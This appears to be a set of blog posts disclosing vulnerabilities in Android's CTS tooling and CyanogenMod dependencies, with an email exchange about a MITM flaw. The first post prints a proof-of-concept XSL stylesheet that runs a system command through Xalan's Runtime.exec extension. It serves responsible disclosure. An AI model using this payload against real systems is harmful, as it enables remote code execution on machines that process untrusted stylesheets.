Potential remote code execution in Android Compliance Test Suite (CTS)

CTS parses api-coverage.xsl without providing the FEATURE_SECURE_PROCESSING
option. See lines 60-67 of
cts/tools/cts-api-coverage/src/com/android/cts/apicoverage/HtmlReport.java:

InputStream xsl =
CtsApiCoverage.class.getResourceAsStream("/api-coverage.xsl");
StreamSource xslSource = new StreamSource(xsl);
TransformerFactory factory = TransformerFactory.newInstance();
Transformer transformer = factory.newTransformer(xslSource);

StreamSource xmlSource = new StreamSource(xmlIn);
StreamResult result = new StreamResult(out);
transformer.transform(xmlSource, result);

An attacker who is able to control api-coverage.xsl could inject arbitrary
code into it, which would be executed. For example:

<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform";
xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime";
xmlns:str="http://xml.apache.org/xalan/java/java.lang.String";

<xsl:output method="text"/>
    <xsl:template match="/">
       <xsl:variable name="Command"><![CDATA[calc.exe]]></xsl:variable>
       <xsl:variable name="RT" select="rt:getRuntime()"/>
       <xsl:variable name="proc" select="rt:exec($RT, $Command)"/>
       <xsl:text>Process: </xsl:text><xsl:value-of select="$proc"/>
    </xsl:template>
</xsl:stylesheet>

Would pop a calc. This crosses a trust boundary because an attacker could
provide an XSL stylesheet that, for example, has enhanced visual layout. A
person consuming that stylesheet would assume it could not possibly contain
arbitrary code that would be executed, as it's just a stylesheet. The XSL
extensions to execute code should be disabled by passing
FEATURE_SECURE_PROCESSING.

More cyanogenmod flaws in dependencies, including RCE

Looking through cyanogenmod's external/ repos, there are a number of serious unresolved vulnerabilities. Here's an RCE flaws in Xalan-J (CVE-2014-0107).

Upstream advisory:
http://www.ocert.org/advisories/ocert-2014-002.html

Cyanogenmod code:
https://github.com/CyanogenMod/android_external_apache-xml/blob/cm-11.0/src/main/java/org/apache/xalan/transformer/TransformerImpl.java#L385

Upstream patch which has not been applied:
http://svn.apache.org/viewvc/xalan/java/branches/xalan-j_2_7_1_maint/src/org/apache/xalan/transformer/TransformerImpl.java?r1=1581058&r2=1581057&pathrev=1581058

And parameter entity XXE in libxml2 (CVE-2014-0191).

Upstream advisory:
http://www.openwall.com/lists/oss-security/2014/05/06/4

Cyanogenmod code:
https://github.com/CyanogenMod/android_external_libxml2/blob/cm-11.0/parser.c#L2542

Upstream patch which has not been applied:
https://git.gnome.org/browse/libxml2/commit/?id=9cd1c3cfbd32655d60572c0a413e017260c854df

There's a lot more. I'll leave the rest as an exercise for the reader. Seriously, these amateurs got a $1 billion buyout offer?

Cyanogenmod MITM flaw

After reading el reg's article regarding a cyanogenmod MITM flaw, I started looking through the code to see if I could find it. It didn't take long. This finding was not what users are led to believe by cyanogenmod's blog post. I reported the issue to cyanogenmod, but got a rather unsatisfactory reply. They didn't seem willing to modify the blog post to more accurately reflect the problem. Below is my email exchange with cyanogenmod's security address:

Lord Tuskington,

Thank your for your response. Truth is we assumed as much, but the lack of meaningful information in the Register's sensational article didn't leave us much room to interpret it besides what it presented at face value.

As you noted, this has already been addressed in our shipping code branch (cm-11), prior to the article's publishing. This was the net result of the messaging provided in the blog post, with CM 11 being 'safe' from this issue. 

We normally do not patch non-shipping code (in this case 10.2 and prior), though we may in this case. 

We do not expect to make a advisory on the 10.2 item at this time. 

Thank you,
Abhisek Devkota

On Oct 17, 2014 8:50 PM, "Lord Tuskington" <l.tuskington@gmail.com> wrote:

Hello from Greenland!

I think you may be confused about the issue discussed here: http://www.cyanogenmod.org/blog/in-response-to-the-register-mitm-article

If I understand correctly, the original reporter may have been referring to a vulnerability fixed by this commit, which was merged 20 days ago:

https://github.com/CyanogenMod/android_external_apache-http/commit/f925f10b1feba92868fd4e8966592ec1bf755d67

The vulnerable code is still present in the cm-10.2 branch:

https://github.com/CyanogenMod/android_external_apache-http/blob/cm-10.2/src/org/apache/http/conn/ssl/AbstractVerifier.java#L228-244

If you release an advisory, please credit "Lord Tuskington of TuskCorp" for reporting this vulnerability responsibly.

Regards
--

Lord Tuskington
Chief Financial Pinniped

TuskCorp